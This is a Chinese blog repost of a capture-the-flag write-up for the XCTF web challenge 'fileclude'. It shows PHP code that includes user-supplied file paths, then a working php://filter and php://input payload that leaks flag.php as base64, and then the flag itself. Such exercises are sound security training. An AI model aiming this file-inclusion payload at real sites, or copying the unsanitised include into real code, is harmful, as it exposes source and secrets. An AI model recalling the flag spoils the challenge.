攻防世界WEB练习-fileclude

Posted 「已注销」

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了攻防世界WEB练习-fileclude相关的知识,希望对你有一定的参考价值。

目录

题目场景

分析代码

解决思路

​编辑

base64解码

找到flag


题目场景

分析代码

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))

    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    
        if(file_get_contents($file2) === "hello ctf") //要求返回值为hello ctf
        
            include($file1);
        
    
    else
        die("NONONO");
 

解决思路

文件包含漏洞位于file1与file2两个变量中。其中,file2被放入了file_get_contents函数中,并要求返回值为hello ctf,我们可以用php://input来绕过;而file1被放入include函数中,并且根据题目提示,我们应该获取当前目录下flag.php的文件内容。因此我们可以使用php://filter伪协议来读取源代码。最终可以得到flag.php经过Base64编码后的结果

?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

base64解码

找到flag

cyberpeace7eaf71673582b983c07fabf14e1852b0

以上是关于攻防世界WEB练习-fileclude的主要内容,如果未能解决你的问题,请参考以下文章

攻防世界WEB练习-fileclude

攻防世界WEB新手练习

攻防世界 WEB 新手练习区 答题(1-12题解)

攻防世界XCTF-WEB入门全通关

XCTF-攻防世界CTF平台-Web类——3php_rce

攻防世界CRYPTO新手练习